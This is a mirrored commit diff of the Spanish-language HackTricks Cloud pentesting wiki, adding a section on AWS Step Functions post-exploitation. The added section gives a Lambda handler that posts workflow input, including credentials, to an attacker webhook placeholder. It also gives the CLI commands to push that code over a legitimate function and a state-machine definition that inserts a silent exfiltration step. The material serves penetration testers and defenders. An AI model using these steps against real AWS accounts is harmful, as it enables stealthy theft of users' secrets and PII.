mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 20:45:21 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
|
||||
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -63,4 +63,122 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un atacante que compromete a un usuario o rol con los siguientes permisos:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
|
||||
|
||||
Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
|
||||
|
||||
Ejemplo de invocación de la víctima:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
|
||||
|
||||
---
|
||||
|
||||
#### Actualizó la función lambda
|
||||
|
||||
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Agregar un Estado Malicioso a la Función de Paso
|
||||
|
||||
Alternativamente, el atacante puede inyectar un **exfiltration state** al principio del flujo de trabajo actualizando la definición de la Función de Paso.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
donde la víctima no se dará cuenta de la diferencia
|
||||
|
||||
---
|
||||
|
||||
### Configuración de la Víctima (Contexto para el Explotación)
|
||||
|
||||
- Se utiliza una Step Function (`LegitStateMachine`) para procesar la entrada sensible del usuario.
|
||||
- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impacto Potencial**:
|
||||
- Exfiltración silenciosa de datos sensibles, incluidos secretos, credenciales, claves API y PII.
|
||||
- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
|
||||
- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
|
||||
- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user